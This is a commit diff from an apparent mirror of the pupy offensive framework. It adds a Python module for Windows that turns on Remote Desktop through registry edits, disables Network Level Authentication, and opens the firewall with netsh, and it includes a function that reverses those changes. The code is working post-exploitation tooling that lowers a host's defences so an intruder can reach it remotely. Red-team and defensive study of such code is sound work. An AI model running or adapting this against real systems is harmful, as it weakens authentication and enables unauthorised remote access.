mirror of https://github.com/n1nj4sec/pupy.git
enable / disable rdp
This commit is contained in:
parent
be83a11922
commit
15f94953d6
|
@ -0,0 +1,75 @@
|
||||||
|
from _winreg import *
|
||||||
|
import ctypes
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
def check_if_admin():
|
||||||
|
return ctypes.windll.shell32.IsUserAnAdmin() != 0
|
||||||
|
|
||||||
|
def setRegValue(aReg, keyPath, regPath, value):
|
||||||
|
try:
|
||||||
|
aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE)
|
||||||
|
SetValueEx(aKey, regPath, 0, REG_DWORD, value)
|
||||||
|
CloseKey(aKey)
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE):
|
||||||
|
aReg = ConnectRegistry(None, root)
|
||||||
|
|
||||||
|
if not setRegValue(aReg, keyPath, regPath, value):
|
||||||
|
CloseKey(aReg)
|
||||||
|
return False
|
||||||
|
|
||||||
|
CloseKey(aReg)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def executeCmd(cmd):
|
||||||
|
command=['cmd.exe', '/c'] + cmd.split()
|
||||||
|
res = subprocess.check_output(command, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True)
|
||||||
|
# info=subprocess.STARTUPINFO()
|
||||||
|
# info.dwFlags=subprocess.STARTF_USESHOWWINDOW | subprocess.CREATE_NEW_PROCESS_GROUP
|
||||||
|
# info.wShowWindow=subprocess.SW_HIDE
|
||||||
|
# p=subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True)
|
||||||
|
# results, _=p.communicate()
|
||||||
|
return res
|
||||||
|
|
||||||
|
def enable_rdp():
|
||||||
|
# enable RDP
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 0):
|
||||||
|
# disable NLA authentication
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 0):
|
||||||
|
# adding a firewall rule
|
||||||
|
cmd = 'netsh firewall set service type=remotedesktop mod=enable'
|
||||||
|
# cmd = 'netsh advfirewall firewall set rule group="Bureau à distance" new enable=Yes'
|
||||||
|
r = executeCmd(cmd)
|
||||||
|
if 'ok' in r.lower():
|
||||||
|
print '[+] RDP enabled'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to add new firewall rule'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to disable NLA authentication'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to change the rdp key'
|
||||||
|
|
||||||
|
|
||||||
|
def disable_rdp():
|
||||||
|
# disable RDP
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 1):
|
||||||
|
# enable NLA authentication
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1):
|
||||||
|
# removing a firewall rule
|
||||||
|
cmd = 'netsh firewall set service type=remotedesktop mod=disable'
|
||||||
|
r = executeCmd(cmd)
|
||||||
|
if 'ok' in r.lower():
|
||||||
|
print '[+] RDP disabled'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to remove the rdp firewall rule'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to disable NLA authentication'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to change the rdp key'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# www.vladan.fr/multiple-rdp-sessions-on-windows/
|
Loading…
Reference in New Issue